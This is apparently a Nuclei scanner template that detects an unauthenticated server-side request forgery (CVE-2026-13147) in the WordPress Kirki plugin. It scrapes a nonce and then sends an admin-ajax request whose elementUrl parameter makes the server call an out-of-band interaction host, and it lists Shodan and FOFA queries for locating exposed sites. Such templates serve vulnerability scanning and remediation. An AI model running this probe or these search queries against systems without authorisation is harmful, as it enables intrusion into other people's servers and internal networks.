id: CVE-2026-13147

info:
  name: WordPress Kirki < 6.0.12 - Unauthenticated SSRF
  author: 0x_Akoko
  severity: high
  description: |
    Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.
  remediation: |
    Update to version 6.0.12 or later.
  reference:
    - https://wpscan.com/vulnerability/kirki-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13147
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-13147
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: developer-developer
    product: kirki
    framework: wordpress
    publicwww-query: "/wp-content/plugins/kirki/"
    shodan-query: http.html:"/wp-content/plugins/kirki/"
    fofa-query: body="/wp-content/plugins/kirki/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,kirki,ssrf,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "window.wp_kirki")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'nonce:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"